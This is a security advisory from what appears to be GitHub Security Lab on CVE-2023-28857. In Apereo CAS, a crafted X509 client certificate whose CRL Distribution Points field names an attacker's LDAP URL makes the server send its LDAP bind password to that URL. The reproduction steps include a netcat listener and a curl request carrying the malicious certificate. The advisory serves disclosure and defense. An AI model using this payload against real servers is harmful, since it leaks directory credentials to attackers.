skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
June 27, 2023

GHSL-2023-009: Credentials leaks for LDAP authentication in Apereo CAS - CVE-2023-28857

Michael Stepankin

Coordinated Disclosure Timeline


When CAS is configured to use X509 certificate authentication with LDAP directory, an unauthenticated user can leak the credentials for LDAP authentication. This is possible by sending a specially crafted X509 client certificate that contains a “CRL Distribution Points” extension with URLs pointing to a malicious resource.


Apereo CAS

Tested Version



LDAP password leak in (GHSL-2023-009,CVE-2023-28857)

Apereo CAS can be configured to use authentication based on client X509 certificates. These certificates can be provided via TLS handshake or a special HTTP header, such as “ssl_client_cert”. When checking the validity of the provided client certificate, X509CredentialsAuthenticationHandler performs check that this certificate is not revoked. To do so, it fetches URLs provided in the “CRL Distribution Points” extension of the certificate, which are taken from the certificate itself and therefore can be controlled by a malicious user. If the CAS server is configured to use an LDAP server for x509 authentication with a password, for example by setting a “cas.authn.x509.ldap.ldap-url” and “cas.authn.x509.ldap.bind-credential” properties, X509CredentialsAuthenticationHandler fetches revocation URLs from the certificate, which can be LDAP urls. When making requests to this LDAP urls, Apereo CAS uses the same password as for initially configured LDAP server, which can lead to a password leak.

Note: X509CredentialsAuthenticationHandler only checks date validity, revocation, but not validity of signature of the provided certificate. So, in order to exploit the issue, even an untrusted self-signed certificate can be used. If Apereo CAS is placed behind a reverse proxy, which checks the validity of TLS certificate, this vulnerability can still be exploited, but an attacker needs to somehow craft a signed certificate with a CRLDP extension.

Steps to reproduce

  1. Download CAS Overlay v6.6.4 from cas-initializer (, including cas-server-support-x509 and cas-server-support-rest-x509 dependencies. Unzip it to a local folder.

  2. Build it using the following commands for example:./gradlew clean build, mkdir /etc/cas, ./gradlew createKeystore and ./gradlew copyCasConfiguration

  3. Start Apereo CAS with the following parameters*:
    cas.authn.x509.crl-fetcher=ldap \
    cas.authn.x509.extract-cert=true \
    cas.authn.x509.ldap.base-dn=o\=tomcat \
    cas.authn.x509.ldap.bind-credential=s3cr3taaaaa \
    cas.authn.x509.ldap.bind-dn=admin \
    cas.authn.x509.ldap.ldap-url=ldap:// \\={user} \
    cas.authn.x509.revocation-checker=crl \ \
    java -jar ./build/libs/cas.war

    It will start a CAS instance that uses LDAP server at located ldap:// with admin and s3cr3taaaaa credentials. It will also enable revocation checking using LDAP.

  4. Open a netcat listener on the localhost or any accessible network device:
    nc -lv 1389
  5. Next send a request with a malicious certificate that contains a URL for the attacker-controlled LDAP server ldap://localhost:1389/ in the CRLDP extension:
    curl -i -s -k -X POST https://localhost:8443/cas/v1/tickets/ \
    -H $'ssl_client_cert: -----BEGIN CERTIFICATE----- MIIDQzCCAiugAwIBAgICBTkwDQYJKoZIhvcNAQELBQAwFzEVMBMGA1UEAwwMVHJ1c3QgQW5jaG9yMB4XDTIzMDExNjE3MTAzMFoXDTIzMDQyNjE3MTAzMFowEjEQMA4GA1UEAxMHQ0EgQ2VydDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM0espevAmhaLlqMdm0dnQ3oZmvGz9b8CFOqGOn6Y6zOtqjE26VeW+sqvxRktOpFzI+0UubaPLHJQFv0j/3adg4/7TUEHDwFMlj863CMMUlLFmBhWWMTIaKadC1Xbfd9wVzMw5mK72MWRvgkt0budelQPMbBWNzezYcGWQejfGn/yTl3NPPZVUbokKwWOUKpAO7BNNyLABkLl9S6iu86Bnd2hMCWWaUij344/hr6LCNAZj8u+VNk6AHsdQ3+yX2cBxrKUaf9atWZfSGk+1FXTnhygx3u0MG19T/QUoSGf3tbKVXrj9GCn8Cxyqc7XNl/9AVEVt4LK6nuk9QFX0zW/vsCAwEAAaOBnTCBmjAdBgNVHQ4EFgQUCNxRyUrdI+K9zYVIrqkaS4SznswwPwYDVR0jBDgwNoAUAfdL5C2O2UfK9x+wcKpn49gAm9ShG6QZMBcxFTATBgNVBAMMDFRydXN0IEFuY2hvcoIBATAPBgNVHRMECDAGAQH/AgEAMCcGA1UdHwQgMB4wHKAaoBiGFmxkYXA6Ly9sb2NhbGhvc3Q6MTM4OS8wDQYJKoZIhvcNAQELBQADggEBADoTyg36gr1GglAXOwh6UMcm1oe5TkEHkW+6sk2Zxdx2P2c2X74U8PUQdCcjxauWxJPCY5VghETIIb+vLIoNGEArHCGFEg/vCW+0fYZbCjAVvo7jPqbVFplb5BLUrXh+7hBPsLu6CrJZztcqDnqGEQUXTeV0DMrCIinmS/gu2e0Vad8Zfp0gMpbe7GralzTZZczab8DZ3C31cteBjEjxXTlI8tU4DMNnmNRT32/bDSmRoNrV10XpglMaDbYOFk9FZh5y+820Nmb2jsljUbioJ2OHwKO4TYawW01d2U0VpAO7IIAap+9SEKolu519MocrLFMp2uHrx0v4sOLHKtXiqGY=-----END CERTIFICATE-----'
  6. When processing this request, the vulnerable CAS server initiates a connection to user-provided URL https://localhost:1389/ with the username and password initially configured for ldap://


* This is just an example configuration for easy testing, in real production systems it might be different but still vulnerable.


An unauthenticated user can leak the password used to LDAP connection configured on server.



This issue was discovered and reported by GHSL team member @artsploit (Michael Stepankin).


You can contact the GHSL team at, please include a reference to GHSL-2023-009 in any communication regarding this issue.